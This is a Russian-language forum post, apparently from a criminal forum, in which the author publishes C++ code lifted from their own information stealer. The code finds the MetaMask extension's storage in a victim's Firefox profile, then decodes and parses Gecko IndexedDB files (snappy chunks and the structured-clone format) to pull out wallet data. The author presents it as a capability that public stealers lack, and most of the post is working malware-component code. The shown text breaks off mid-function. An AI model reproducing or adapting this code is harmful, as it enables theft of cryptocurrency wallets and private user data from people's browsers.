What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Разбираем Gecko IndexedDB на примере MetaMask

d4x0n3l

Light Weight
Депозит
$0
Итак, это моя вторая статья, и в этот раз она будет поинтереснее, я вам обещаю, и постраюсь всё разжевать по теме без воды.)

Честно говоря я долго думал о чем же написать статью, потому что все темы для интересных статей растягивались бы как минимум на статей 10, одним словом были огромными, поэтому сегодня мы остановимся на чем-нибудь попроще, а именно разберем внутреннее устройство гековского IndexedDB на примере экстейшена MetaMask и научимся вытаскивать оттуда интересующую нас инфу. Я даже предоставлю POC на плюсах (под линукс правда, но портануть его под винду тривиальная задача). Почему именно Gecko IndexedDB? Чтож, потому что я не видел ещё ни одного публичного стиллера, который бы это умел - все стиллеры, что я встречал, тырят только хромовские экстейшены. ¯\_(ツ)_/¯

Тут стоит оговориться, что саму имплементацию я вытащил из своего личного стиллера, который был очень завязан на моём сдк, и многие классы пришлось заменить на публичные, например мой LocalPtr пришлось заменить на std::shared_ptr, который крутит атомик каунтеры, а некоторые вообще выпилить, учитывайте это при написании поправок на то, что код будет (возможно) не таким быстрым, как хотелось бы (хотя 1 секунда в дебаг билде это всё равно довольно быстро).
Весь код был написан на C++ 20. Я не буду останавливаться на самом языке и подразумеваю, что читатель уже знаком с ним хотя бы на среднем уровне и понимает конструкции языка без проблем (в конце концов за языковые статьи да и в целом разжевывание языка и его тонкостей здесь не платят). Весь финальный код закомменчен на английском, там же будут ссылки на некоторые сурсы. В моём POC'е я не буду использовать thirdparty либы (кроме tl::expected, который начиная с C++ 23 можно будет заменить на std::expected), поэтому всё парсить мы будем вручную.

Ну что ж, поехали.

Ищем дату экстейшенов

Итак, сразу оговорюсь, в качестве гековского браузера у нас будет firefox, и я подразумеваю, что вы уже нашли профиль юзера в фаерфоксе, если нет, то это тривиальная задача, посмотрите исходник любого стиллера.
Прежде чем что-то пытаться извлечь из экстейшена, нужно сначала найти откуда извлекать - Gecko браузеры вроде firefox'а хранят экстейшены и их дату иначе, нежели браузеры на основе хромиума. Сами экстейшены мы трогать не будем, нас интересует только их дата, и чтобы извлечь дату, нам нужно сначала получить путь до неё. Для этого мы будем парсить файлик prefs.js, который находится в папке с профилем юзера. Этот файлик, как несложно догадаться, содержит юзерпрефы, включая установленные экстейшены и их локальные uuid'ы. В частности нам нужно найти преф extensions.webextensions.uuids и распарсить JSON объект формата key-value (да, это тривиальный объект). Далее нам нужно будет найти наш экстейшен в этой мапе по имени и запомнить его uuid, он нам будет нужен, чтобы построить путь до даты экстейшена... - точнее сначала до бд, которая хранит инфу о том, какая именно дата нам нужна, но об этом позже.
Сам путь выглядит следующим образом: путь_до_профиля + "/storage/default/moz-extension+++" + UUID + "^userContextId=4294967295/idb/"
Как вы могли заметить, число в userContextId у меня здесь равно 4294967295, на самом деле это число можно вытащить из containers.json, но оно всегда одинаковое для всех экстейшенов, поэтому это лишнее действие можно просто не производить.
В самой папке же находится sqlite бд, которая хранит инфу о том, в каком файлике хранится нужная нам дата. Сами файлы хранятся в папке files/ там же.
Имя бд похоже всегда одинаковое для всех экстейшенов под всеми ОС, скорее всего оно захардкоженно: 3647222921wleabcEoxlt-eengsairo.sqlite (Впрочем даже если это не так, то можно найти эту бд просто по расширению .sqlite, она там одна в папке). =)
Но прежде чем мы приступим к разбору содержимого бд, давайте для начала выполним шаги выше, итак, сам код:
Спойлер: код
C++: Скопировать в буфер обмена
Code:
inline tl::expected<TExtensionsMap, std::error_code> FirefoxHandler::ExtractExtensions(std::unordered_set<std::string_view> sExts) noexcept
{
    // Если такого файлика нет или мы не можем получить к нему доступ, то значит мы не сможем и получить список экстейшенов
    std::ifstream isPrefs(m_ProfilePath.generic_string() + "/prefs.js");
    if (!isPrefs.is_open())
        return tl::unexpected(std::make_error_code(std::errc::no_such_file_or_directory));

    // мы будем читать до тех пор, пока не найдем строку, начинающуюся с user_pref("extensions.webextensions.uuids"
    // в идеале нам нужно парсить сами аргументы user_pref
    for (std::string sLine; std::getline(isPrefs, sLine);)
    {
        if (!sLine.starts_with("user_pref(\"extensions.webextensions.uuids\""))
            continue;

        // Теперь нам нужно найти и извлечь сам JSON, парсить мы его будем вручную
        // Здесь мы просто находим начало и конец JSON'а
        // Задача для нас упрощается, потому что это очень простой JSON, это тупо key-value
        // Тем не менее в реальном проекте я рекомендую использовать полноценный парсер, чтобы избежать проблем с дабл-экранированными кавычками например
        // P.S. Кто не очень знаком с плюсами, std::string_view нужен, чтобы избежать лишнего копирования
        std::string_view svContent(sLine);
        auto szStart = svContent.find("\"{\\\"", 42);
        if (szStart == svContent.npos) break;
        auto szEnd = svContent.find("\\\"}\");", szStart + 3);
        if (szEnd == svContent.npos) break;

        svContent = svContent.substr(szStart + 2, szEnd - szStart);

        std::string_view svKey;
        bool bParseKey = true;
        std::unordered_map<std::string_view, std::string_view> mExtsUuids;

        while (true)
        {
            szStart = svContent.find("\\\"");
            szEnd = svContent.find("\\\"", szStart + 2);
            if (szStart == svContent.npos || szEnd == svContent.npos)
                break;
         
            auto str = svContent.substr(szStart + 2, szEnd - szStart - 2);
            svContent = svContent.substr(szEnd + 2);

            if (bParseKey) svKey = str;
            else mExtsUuids.emplace(svKey, str);
            bParseKey = !bParseKey;
        }

        // убираем из списка все экстейшены, которые мы не собираемся стиллить / парсить
        std::erase_if(mExtsUuids, [&sExts](const auto & ext) { return !sExts.contains(ext.first); });
        TExtensionsMap mResultMap;
        if (mExtsUuids.empty())
            return mResultMap;

        for (const auto & [svExtName, svExtUuid] : mExtsUuids)
        {
            auto sExtDBFullPath = m_ProfilePath.generic_string() + "/storage/default/moz-extension+++" + std::string(svExtUuid) + "^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite";
            std::ifstream isExtDB(sExtDBFullPath, std::ios::binary);

            if (!isExtDB.is_open())
                continue;

            isExtDB.seekg(0, std::ios_base::end);
            auto szTotalRead = isExtDB.tellg();
            isExtDB.seekg(0, std::ios_base::beg);
            if (szTotalRead == std::streampos(-1))
                continue;

            std::string sDBData;
            sDBData.resize(szTotalRead);
            isExtDB.read(sDBData.data(), szTotalRead);

            std::string sFilesPath = sExtDBFullPath.substr(0, sExtDBFullPath.size() - 6) + "files/";
            mResultMap.emplace(std::string(svExtName), GeckoIndexedDB<std::string>(SQLiteTableReader<std::string>(std::move(sDBData)), sFilesPath));
        }

        return std::move(mResultMap);
    }

    return tl::unexpected(std::make_error_code(std::errc::no_link));
}

Разбираем, что же там в БД

Итак, допустим мы нашли нужный нам экстейшен используя код выше, в случае с метамаском это webextension@metamask.io, и теперь хотим вытащить нужную нам инфу. Вся информация в гековском IndexedDB хранится по "ключам", у каждого "ключа" соответствующий ему файлик (как правило, об этом ниже), и для каждого такого ключа есть соответствующая запись в только что открытой нами базе данных, в которой этот ключ хранится в "закодированном" виде, и прежде чем мы сможем его оттуда прочитать, нам его по-хорошему бы раскодировать, но делать этого мы не будем, так как если мы пишем стиллер, то мы подразумеваем, что мы уже знаем, какие ключи у какого расширения используются, и поэтому мы можем сделать проще - закодировать наш ключ и просто искать по нему. Этот вариант лучше по той причине, что если мы парсим дату на сервере, то можем просто сделать SELECT, а не селектить всё и вручную перебирать все варианты, но в моём POC'е мы всё сделаем на стороне клиента, так как моя задача показать пример.

Сам алгоритм "кодирования" различается для разных типов данных, я предоставлю имплементации для других типов данных помимо строк, но на самом деле нам интересны только строки, итак, алгоритм для строк выглядит так:

1. Конвертируем нашу UTF-8 строку в UTF-32 (по факту в расширенный юникод)​
2. Пушим в качестве первого байта 0x30, что означает, что закодированная дата - строка​
3. Далее итерируемся по UTF-32 строке (у которой каждый символ 4 байта) и в зависимости от каждого символа:​
3.1 Если это UTF-16, то просто копируем символ​
3.2 Если это UTF-32, то часть сдвигаем на 10 бит вправо и прибавляем 0xD800, к оставшейся части (в начале) прибавляем 0xDC00, на выходе будем иметь 2 шорта​
4. Кодируем 1 или 2 шорта в "код поинт" (кол-во шортов будет зависеть от варианта)​
5. Код поинт кодируется следующим образом:​
5.1. Если это ASCII символ [0, 0x7F] (за исключением последнего), то к нему добавляется единица (бинарная кодировка вида 0xxxxxxx)​
5.2. Если это символ в диапазоне [0x7F, 0x3FFF + 0x7F], то к нему добавляется 0x8000-0x7F и кодируется в Big Endian (кодировка вида: 10xxxxxx xxxxxxxx)​
5.3. Если это символ в диапазоне [0x3FFF + 0x80, 0xFFFF], то значение смещается на 6 бит влево с добавлением префикса и кодируется в Big Endian (кодировка вида: 11xxxxxx xxxxxxxx xx000000)​

Спойлер: код
C++: Скопировать в буфер обмена
Code:
template <typename TSQLData>
template <typename TString>
inline std::string GeckoIndexedDB<TSQLData>::EncodeStringKey(TString && tKey) noexcept
{
    using TCharType = typename std::remove_cvref_t<TString>::value_type;
    std::u32string sToEncode;

    if constexpr (sizeof(TCharType) == 1)
    {
        try
        {
            std::wstring_convert<std::codecvt_utf8<char32_t>, char32_t> cCvt;
            sToEncode = cCvt.from_bytes(tKey.data());
        }
        catch (...) { return {}; }
    }
    else
    {
        sToEncode = std::u32string(tKey.begin(), tKey.end());
    }

    std::string sResult;
    sResult.reserve((sToEncode.size() * 4) + 2);
    sResult.push_back(static_cast<char>(GeckoIDBKeyType::String));

    for (char32_t c : sToEncode)
    {
        bool bTwoInts;
        std::uint16_t u1, u2;
        std::uint32_t u = static_cast<std::uint32_t>(c);
        if (u <= (std::numeric_limits<std::uint16_t>::max)())
        {
            u1 = static_cast<std::uint16_t>(u);
            bTwoInts = false;
        }
        else
        {
            u1 = static_cast<std::uint16_t>((u >> 10) | 0xD800);
            u2 = static_cast<std::uint16_t>((u & 0x3FF) | 0xDC00);
            bTwoInts = true;
        }

        EncodeCodePoint(sResult, u1);
        if (bTwoInts) EncodeCodePoint(sResult, u2);
    }

    return sResult;
}

template <typename TSQLData>
inline void GeckoIndexedDB<TSQLData>::EncodeCodePoint(std::string & sResult, std::uint16_t uPoint) noexcept
{
    if (uPoint < 0x7F) sResult.push_back(static_cast<char>(uPoint + 1));
    else if (uPoint < 0x407F)
    {
        uPoint += 0x7F81;
        sResult.push_back(static_cast<char>((uPoint >> 8) & 0xFF));
        sResult.push_back(static_cast<char>(uPoint & 0xFF));
    }
    else
    {
        std::uint32_t uPointWide = static_cast<std::uint32_t>(uPoint) << 6; uPointWide |= UINT32_C(0x00C00000);
        sResult.push_back(static_cast<char>((uPointWide >> 16) & 0xFF));
        sResult.push_back(static_cast<char>((uPointWide >> 8) & 0xFF));
        sResult.push_back(static_cast<char>(uPointWide & 0xFF));
    }
}

Теперь, когда мы знаем что искать, мы идем в саму бд и селектим из таблицы object_data "закодированный" key. В моём случае я буду использовать простой парсер бд, предназначенный в первую очередь для стиллера, и просто сравнивать ключи. Как только мы найдем нужный ключ, мы селектим file_ids, который должен начинаться с точки, если же заселекченное значение оказалось пустым, то тогда селектим data и парсим его - это значит что дата настолько маленькая, что firefox записал её в бд вместо того, чтобы создавать файлик. Если же оно не пусто, то тогда убираем точку и идём в папочку files/, значение после точки и есть название IndexedDB файла.

Спойлер: код
C++: Скопировать в буфер обмена
Code:
template <typename TSQLData>
inline std::shared_ptr<GeckoIDBJSObject> GeckoIndexedDB<TSQLData>::ReadKey(std::string_view svKey) noexcept
{
    if (!m_DBReader.ReadTable("object_data"))
        return nullptr;

    const std::size_t szTotalObjects = m_DBReader.RowsCount();
    if (!szTotalObjects)
        return nullptr;

    std::string sKeyEncoded = EncodeKey(svKey);
    for (std::size_t i = 0; i < szTotalObjects; i++)
    {
        std::string_view svEncodedKey = m_DBReader.template ReadEntry<std::string_view>(i, "key").value_or(std::string_view{});
        if (svEncodedKey.empty()) continue;
        if (svEncodedKey.size() != sKeyEncoded.size()) continue;
        if (std::memcmp(sKeyEncoded.data(), svEncodedKey.data(), svEncodedKey.size())) continue;

        std::string_view svFileId = m_DBReader.template ReadEntry<std::string_view>(i, "file_ids").value_or(std::string_view{});
        if (svFileId.empty())
        {
            std::string_view svBlob = m_DBReader.template ReadEntry<std::string_view>(i, "data").value_or(std::string_view{});
            if (svBlob.size()) return ReadKeyObjectsData(svBlob.data(), svBlob.size(), true);
        }
        else
        {
            if (svFileId.size() > 1 && svFileId.front() == '.')
            {
                svFileId = svFileId.substr(1);
                const std::string sFilePath = m_pIDBFilesPath.generic_string() + std::string(svFileId);
             
                std::ifstream isFile(sFilePath, std::ios::binary);
                if (isFile.is_open())
                {
                    isFile.seekg(0, std::ios::end);
                    auto szSize = isFile.tellg();
                    isFile.seekg(0, std::ios::beg);
                    if (szSize != std::streampos(-1))
                    {
                        std::string sOut;
                        sOut.resize(szSize);
                        isFile.read(sOut.data(), std::streamsize(szSize));
                        return ReadKeyObjectsData(sOut.data(), sOut.size(), false);
                    }
                }
            }
        }
        break;
    }

    return nullptr;
}

Разбираемся с сжатием гековского IndexedDB

А вот и начинается самая интересная часть, устройство гековского IndexedDB довольно мудрённое, и в отличии от хромовского LevelDB, который под капотом у его же IndexedDB и который просто хранит пары ключ - значение, гековский IndexedDB хранит JS объекты, причем в его собственном гековском формате... Он на самом деле довольно простой, но чтобы его понять, когда-то мне пришлось немало времени провести ковыряя исходники firefox'а.

Итак, допустим что мы уже прочитали файл с датой с диска к нам в память, и прежде чем мы сможем распарсить саму дату, нам нужно её сначала раскомпрессить, то бишь разжать. IndexedDB использует snappy для компресии, это довольно простой гугловский алгоритм, мини-версия декомпрессора будет предоставлена вместе с POC'ом. Скомпрешенная дата разбивается на чанки и в таком виде записывается в файл, чанки эти не имеют отношения к самому snappy и нам их придется разобрать:

HEADER - 4 байта в Little Endian. Первый байт это тип чанка, оставшиеся 3 байта - его размер
DATA - N байт, дата чанка, определяется хедером

Типы чанков:
0xFF - чанк является идентификатором стрима, в частности обозначает, какой алгоритм сжатия используется, на данный момент это всегда снаппи (sNaPpY)
0x00 - чанк содержит сжатую дату в следующем формате:
CHECKSUM - 4 байта "замаскированной" чексуммы CRC32C, так же в Little Endian, об этом ниже​
DATA - N байт, сжатая дата​
0x01 - чанк содержит несжатую дату, формат такой же, как у чанка выше
0xFE - паддинг, просто скипаем
0x80-0xFD - чанк зарезервирован, так же просто скипаем его
0x** - все остальные чанки, не включенные в список выше, инвалидные, и если мы на такой натыкаемся, то это значит, что дата повреждена (или наш парсер устарел, на момент написания статьи он актуален)

Что касается маскированного CRC32C, то маска снимается так:
C++: Скопировать в буфер обмена
Code:
std::uint32_t uSum = uMaskedCheckSum - 0xA282EAD8;
return ((uSum >> 17) | (uSum << 15)) ^ 0xFFFFFFFF;

Собственно теперь, когда мы знаем, как выглядят чанки, мы можем начать их разжимать. Мы так же будем склеивать все чанки воедино во время разжатия и как только вся дата будет разжата, мы сможем приступить к парсингу уже самого IndexedDB:
Спойлер: код
C++: Скопировать в буфер обмена
Code:
const std::uint8_t * pChunkedData = reinterpret_cast<const std::uint8_t *>(pData);
std::size_t szDataLeft = szDataSize;
while (szDataLeft)
{
    if (szDataLeft < 4)
        return nullptr;

    const std::uint32_t uHeader = BytesToUint32LE(pChunkedData);
    const std::uint8_t uChunkType = uHeader & 0xFF;
    const std::uint32_t uChunkLength = uHeader >> 8;
    if (uChunkLength > szDataLeft - 4)
        return nullptr;

    szDataLeft -= 4;
    pChunkedData += 4;
    switch (uChunkType)
    {
        case 0xFF:
        {
            if (uChunkLength != 6)
                return nullptr;

            if (std::memcmp(pChunkedData, "sNaPpY", 6))
                return nullptr;

            szDataLeft -= uChunkLength;
            pChunkedData += 6;
            break;
        }
        case 0x00:
        {
            if (uChunkLength <= 4)
                return nullptr;

            SnappyDecompressor cDecomp(reinterpret_cast<const char *>(pChunkedData) + 4, uChunkLength - 4);
            const std::size_t szUncompressedSize = cDecomp.GetUncompressedSize();
            if (!szUncompressedSize)
            {
                if (szDataLeft > 5)
                    return nullptr;
                szDataLeft -= 5;
                break;
            }

            const std::size_t szUncompressedDataStart = sUncompressed.size();
            sUncompressed.resize(sUncompressed.size() + szUncompressedSize);
            const std::size_t szTotalUncompressed = cDecomp.UncompressToBuffer(sUncompressed.data() + szUncompressedDataStart, szUncompressedSize);
            if (!szTotalUncompressed || szTotalUncompressed != szUncompressedSize)
                return nullptr;

            const std::uint32_t uChecksum = UnmaskChecksum(BytesToUint32LE(pChunkedData));
            const std::uint32_t uExpectedCheckSum = CRC32C{}(sUncompressed.data() + szUncompressedDataStart, szUncompressedSize) ^ UINT32_C(0xFFFFFFFF);
            if (uExpectedCheckSum != uChecksum)
                return nullptr;

            pChunkedData += uChunkLength;
            szDataLeft -= uChunkLength;
            break;
        }
        case 0x01:
        {
            if (uChunkLength <= 4 || uChunkLength > 65536)
                return nullptr;

            const std::uint32_t uChecksum = UnmaskChecksum(BytesToUint32LE(pChunkedData));
            const std::uint32_t uExpectedCheckSum = CRC32C{}(pChunkedData + 4, uChunkLength - 4) ^ UINT32_C(0xFFFFFFFF);
            if (uExpectedCheckSum != uChecksum)
                return nullptr;

            sUncompressed.append(reinterpret_cast<const char *>(pChunkedData) + 4, uChunkLength - 4);
            pChunkedData += uChunkLength;
            szDataLeft -= uChunkLength;
            break;
        }
        default:
        {
            if (uChunkType >= 0x80 && uChunkType <= 0xFE)
            {
                szDataLeft -= uChunkLength;
                pChunkedData += uChunkLength;
            }
            else return nullptr;
            break;
        }
    }
}

Разбираемся с форматом гековского IndexedDB

Итак, теперь у нас на руках разжатая сырая дата IndexedDB, и прежде чем её парсить, нам нужно разобраться с форматом, сначала конечно же идёт хедер, но он подчиняется тому же формату, что и все остальные "объекты" в файле:

HEADER_DATA - 4 байта
HEADER_TAG - 4 байта
DATA - ...

Сразу после хедера может идти transfer map:
(OPTIONAL) TRANSFER_MAP_DATA - 4 байта
(OPTIONAL) TRANSFER_MAP_TAG - 4 байта

Если мы встречаем transfer map, то это означает, что дата временная (или вообще уже стёрта) и смысла её стиллить нет.
Собственно нормальный хедер всегда имеет таг SCTAG_HEADER (0xFFF10000), а в дате лежит тип скоупа, их всего несколько:

  • SameProcess - Дата находится в процессе браузера (в памяти) и не может быть считана, мы вообще не должны никогда на него попасть, но на всякий случай хандлим этот кейс тоже
  • DifferentProcess - Дата трансферится между разными процессами и пишется на диск, то что нам нужно
  • DifferentProcessForIndexedDB - Тоже самое
  • Unassigned и UnknownDestination - Они нас не интересуют, мы считаем их инвалидными

Если скоуп не DifferentProcess и не DifferentProcessForIndexedDB, то мы просто выходим (мы либо не сможем её распарсить, либо она нам просто неинтересна), если же всё окей, то идём дальше и чекаем, является ли следующий объект трансфер мапой, если да, то всё так же выходим, если нет, то опять же идём дальше и парсим root объект, но прежде чем мы это сделаем, давайте разберем формат каждого объекта, который мы будем парсить:

Тривиальные (Int32 / Boolean / Null / Undefined):
DATA - 4 байта, это и есть само значение. Для null и undefined там нет значения
TAG - 4 байта, тип объекта

NumberObject:
PAD + TAG - 8 байт
VALUE - 8 байт в виде Little Endian, тип double

DateObject
:
PAD + TAG - 8 байт
VALUE - 8 байт, так же как и number, но хранит количество миллисекунд с начала юникс эпохи

BigInt:
DATA - 4 байта, старший бит хранит знак, остальные биты хранят длину инта, в Little Endian
TAG - 4 байта
VALUE - N байт, это и есть сам биг инт, мы его парсить не будем, так как для этого нужен отдельный класс, который я тащить в этот POC не стал, ибо он сильно завязан на моём сдк (и мне было лень его отвязывать). Вы можете найти публичный класс для этого или написать свой
PAD - 0-7 байт, нужен для алигнмента

String:
DATA - 4 байта, старший бит хранит кодировку (об этом ниже), остальные биты хранят длину строки, в Little Endian
TAG - 4 байта
VALUE - N байт, строка либо в кодировке Latin1 (если старший бит 1), либо в UTF-16 (если старший бит 0), без нулл-терминатора
PAD - 0-7 байт, нужен для алигнмента

RegexpObject:
DATA - 4 байта в Little Endian, хранит флаги регекса, о них позже
TAG - 4 байта
SECOND_DATA - 4 байта в Little Endian
SECOND_TAG - 4 байта
VALUE - N байт если SECOND_TAG был строкой, то парсится так же, как и строка
PAD - 0-7 байт, нужен для алигнмента

Что касается флагов:
1 << 0 = ignore case​
1 << 1 = global regex​
1 << 2 = multiline regex​
1 << 3 = sticky​
1 << 4 = unicode​
1 << 5 = dot all​
1 << 6 = has indices​
1 << 7 = unicode sets​

BackReferenceObject:
DATA - 4 байта в Little Endian, хранит порядковый номер объекта в качестве ссылки
TAG - 4 байта

Референс объекты (BooleanObject / StringObject / BigIntObject):
Любой объект имеет свой номер в референс массиве, в то время как не-объекты его не имеют. Это объекты по факту тоже самое, что и их не Object варианты, то бишь парсятся так же. И как вы уже поняли, эти объекты нужны лишь для бекреференса, чтобы на них можно было сослаться

Контейнеры (ArrayObject / ObjectObject / MapObject / SetObject):
DATA - 4 байта, там ничего интересного (раньше там ничего не было вообще, сейчас там размер объекта)
TAG - 4 байта
... - другие объекты
END_DATA - 4 байта
TAG - 4 байта, EndOfKeys (0xFFFF0013)

Каждый контейнер парсится по разному, для SetObject это просто массив из других объектов, для ArrayObject, ObjectObject и MapObject это массив следующего формата:
KEY_OBJECT - string / string object / int32
DATA_OBJECT - любой объект
...
KEY_OBJECT_N
DATA_OBJECT_N
END_KEYS_OBJECT - EndOfKeys

Остальное (SavedFrameObject / ArrayBufferObject / SharedArrayBufferObject / SharedWasmMemoryObject / etc.):
Остальные объекты нам не интересны и парсить их мы не будем. Честно говоря я ещё ниразу не встречался с ними и поэтому имплементировать их парсинг не стал. Очень сомневаюсь, что и вы с ними встретитесь, так как экстейшены как правило не сторят подобную дату в свой IndexedDB, поэтому пока что оставим их в покое. PS. Пока писал статью, заглянул в более свежие сорцы, некоторые индексы теперь deprecated!

Парсим IndexedDB

Итак, с форматом мы разобрались, теперь настало время распарсить всё это безобразие. Это наверное будет самая короткая часть моей статьи, и при этом самая длинная по коду.
Для начала мы распарсим рут объект, мы подразумеваем, что это должен быть какой-то контейнер, после этого мы создадим стек и запушим наш контейнер туда. Мы будем пушить все контейнеры в этот стак и парсить дальнейшие объекты в зависимости от топового контейнера. Если вы встретим EndOfKeys, то просто попим стек и продолжаем парсить предыдущий контейнер, если же стек пуст, то значит мы всё распарсили и время выходить. Чтож, давайте всё это имплементируем:

Спойлер: код
C++: Скопировать в буфер обмена
Code:
template <typename TSQLData>
inline std::shared_ptr<GeckoIDBJSObject> GeckoIndexedDB<TSQLData>::ReadObjects(ByteReader<std::endian::little> & bfRead) noexcept
{
    std::shared_ptr<GeckoIDBJSObject> pMainObj = std::make_shared<GeckoIDBJSObject>();
    std::vector<std::shared_ptr<GeckoIDBJSObject>> vObjects;
    if (!ReadObject(bfRead, pMainObj, vObjects))
        return pMainObj;
 
    std::vector<std::shared_ptr<GeckoIDBJSObject>> vContainerObjsList;
    std::stack<std::shared_ptr<GeckoIDBJSObject>> sObjStack;
    auto ObjectMaybeAppendToTheStack = [&](std::shared_ptr<GeckoIDBJSObject> & pObj) noexcept
    {
        switch (pObj->t)
        {
            case GeckoIDBObjType::ArrayObject: [[fallthrough]];
            case GeckoIDBObjType::ObjectObject: [[fallthrough]];
            case GeckoIDBObjType::SavedFrameObject: [[fallthrough]];
            case GeckoIDBObjType::MapObject: [[fallthrough]];
            case GeckoIDBObjType::SetObject:
                sObjStack.push(pObj);
                break;
            default: break;
        }
    };

    ObjectMaybeAppendToTheStack(pMainObj);
    while (!sObjStack.empty())
    {
        {
            std::size_t szPos = bfRead.GetPos();
            const std::uint64_t uPair = bfRead.template ReadTrivial<std::uint64_t>();
            if (static_cast<GeckoIDBObjType>(GetPairTag(uPair)) == GeckoIDBObjType::EndOfKeys)
            {
                sObjStack.pop();
                continue;
            }

            bfRead.SetPos(szPos, false);
        }

        if (bfRead.IsOverflow())
            break;

        auto & pTopObj = sObjStack.top();
        std::shared_ptr<GeckoIDBJSObject> pKeyObj = std::make_shared<GeckoIDBJSObject>();
        ReadObject(bfRead, pKeyObj, vContainerObjsList);
        ObjectMaybeAppendToTheStack(pKeyObj);

        if (!pKeyObj->v.index())
        {
            switch (pTopObj->t)
            {
                case GeckoIDBObjType::ObjectObject: [[fallthrough]];
                case GeckoIDBObjType::MapObject: [[fallthrough]];
                case GeckoIDBObjType::SetObject: [[fallthrough]];
                case GeckoIDBObjType::ArrayObject: [[fallthrough]];
                case GeckoIDBObjType::SavedFrameObject: break;
                default:
                    sObjStack.pop();
                    continue;
            }
        }

        switch (pTopObj->t)
        {
            case GeckoIDBObjType::SetObject:
            {
                assert(pTopObj->v.index() == GeckoIDBJSObject::Set);
                std::get<GeckoIDBJSObject::Set>(pTopObj->v).insert(std::move(pKeyObj));
                break;
            }
            case GeckoIDBObjType::MapObject:
            case GeckoIDBObjType::ObjectObject:
            {
                std::shared_ptr<GeckoIDBJSObject> pValueObj = std::make_shared<GeckoIDBJSObject>();
                ReadObject(bfRead, pValueObj, vContainerObjsList);
                ObjectMaybeAppendToTheStack(pValueObj);

                switch (pKeyObj->t)
                {
                    case GeckoIDBObjType::Int32: [[fallthrough]];
                    case GeckoIDBObjType::String: [[fallthrough]];
                    case GeckoIDBObjType::StringObject:
                    {
                        assert(pTopObj->v.index() == GeckoIDBJSObject::ObjectOrMap);
                        std::get<GeckoIDBJSObject::ObjectOrMap>(pTopObj->v).emplace(std::move(pKeyObj), std::move(pValueObj));
                        break;
                    }
                    default: assert(0); break;
                }
                break;
            }
            case GeckoIDBObjType::ArrayObject:
            {
                if (pKeyObj->t != GeckoIDBObjType::Int32 || std::get<GeckoIDBJSObject::Int>(pKeyObj->v) < 0)
                    break;

                assert(pTopObj->v.index() == GeckoIDBJSObject::Array);
                std::shared_ptr<GeckoIDBJSObject> pValueObj = std::make_shared<GeckoIDBJSObject>();
                ReadObject(bfRead, pValueObj, vContainerObjsList);
                ObjectMaybeAppendToTheStack(pValueObj);
                std::get<GeckoIDBJSObject::Array>(pTopObj->v).push_back(std::move(pValueObj));
                break;
            }
            default: break;
        }
    }

    return pMainObj;
}

template <typename TSQLData>
inline bool GeckoIndexedDB<TSQLData>::ReadObject(ByteReader<std::endian::little> & bfRead, std::shared_ptr<GeckoIDBJSObject> & pObj, std::vector<std::shared_ptr<GeckoIDBJSObject>> & rObjects) noexcept
{
    const std::uint64_t uPair = bfRead.template ReadTrivial<std::uint64_t>();
    const std::uint32_t uTag = GetPairTag(uPair);
    const GeckoIDBObjType eType = static_cast<GeckoIDBObjType>(uTag);

    auto & rObj = *pObj;
    rObj.t = eType;
    bool bObjectPushed = false;

    auto ConvertString = [](bool bIsLatin1, std::vector<std::uint8_t> & vStrData) noexcept -> std::string
    {
        std::string sStr;
        if (bIsLatin1)
        {
            for (auto iIt = vStrData.begin(); iIt != vStrData.end(); ++iIt)
            {
                std::uint8_t u = *iIt;
                if (u < 0x80) sStr.push_back(static_cast<char>(u));
                else
                {
                    sStr.push_back(static_cast<char>(0xC0 | (u >> 6)));
                    sStr.push_back(static_cast<char>(0x80 | (u & 0x3F)));
                }
            }
        }
        else
        {
            vStrData.push_back(0);
            const char16_t * pUTF16 = reinterpret_cast<const char16_t *>(vStrData.data());
            try
            {
                std::wstring_convert<std::codecvt_utf8<char16_t>, char16_t> cCvt;
                sStr = cCvt.to_bytes(pUTF16);
            }
            catch (...) { return {}; }
        }
        return sStr;
    };

    switch (eType)
    {
        case GeckoIDBObjType::Null: [[fallthrough]];
        case GeckoIDBObjType::Undefined:
            rObj.v.emplace<GeckoIDBJSObject::Null>();
            break;
        case GeckoIDBObjType::Int32:
        {
            std::uint32_t uData = GetPairData(uPair);
            rObj.v.emplace<GeckoIDBJSObject::Int>(std::bit_cast<std::int32_t>(uData));
            break;
        }
        case GeckoIDBObjType::BooleanObject:
            rObjects.push_back(pObj);
            bObjectPushed = true;
            [[fallthrough]];
        case GeckoIDBObjType::Boolean:
        {
            std::uint32_t uData = GetPairData(uPair);
            rObj.v.emplace<GeckoIDBJSObject::Bool>(!!uData);
            break;
        }
        case GeckoIDBObjType::StringObject:
            rObjects.push_back(pObj);
            bObjectPushed = true;
            [[fallthrough]];
        case GeckoIDBObjType::String:
        {
            std::uint32_t uData = GetPairData(uPair);
            const bool bIsLatin1 = !!(uData & 0x80000000);
            std::uint32_t uLength = uData & 0x7FFFFFFF;
            if (!bIsLatin1) uLength *= 2;
            auto vStr = bfRead.template ReadByteArrayToContainer<std::vector<std::uint8_t>>(uLength);
            std::string sStr = ConvertString(bIsLatin1, vStr);
            rObj.v.emplace<GeckoIDBJSObject::String>(std::move(sStr));
            uLength = 8 - ((uLength - 1) & 7) - 1;
            bfRead.SkipBytes(uLength);
            break;
        }
        case GeckoIDBObjType::NumberObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::Double>(bfRead.template ReadTrivial<double>());
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::BigIntObject:
            rObjects.push_back(pObj);
            bObjectPushed = true;
            [[fallthrough]];
        case GeckoIDBObjType::BigInt:
        {
            const std::uint32_t uData = GetPairData(uPair);
            std::uint32_t uLength = uData & 0x7FFFFFFF;
            rObj.v.emplace<GeckoIDBJSObject::Null>();
            bfRead.SkipBytes(uLength + (8 - ((uLength - 1) & 7) - 1));
            break;
        }
        case GeckoIDBObjType::DateObject:
        {
            const double dMillisecondsSinceEpoch = bfRead.template ReadTrivial<double>();
            rObj.v.emplace<GeckoIDBJSObject::Date>(std::chrono::system_clock::time_point(std::chrono::milliseconds(static_cast<std::uint64_t>(dMillisecondsSinceEpoch))));
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::RegexpObject:
        {
            const std::uint32_t uData = GetPairData(uPair);
            std::string sRegex;
            if (uData & (1 << 6)) sRegex.push_back('d');
            if (uData & (1 << 1)) sRegex.push_back('g');
            if (uData & (1 << 0)) sRegex.push_back('i');
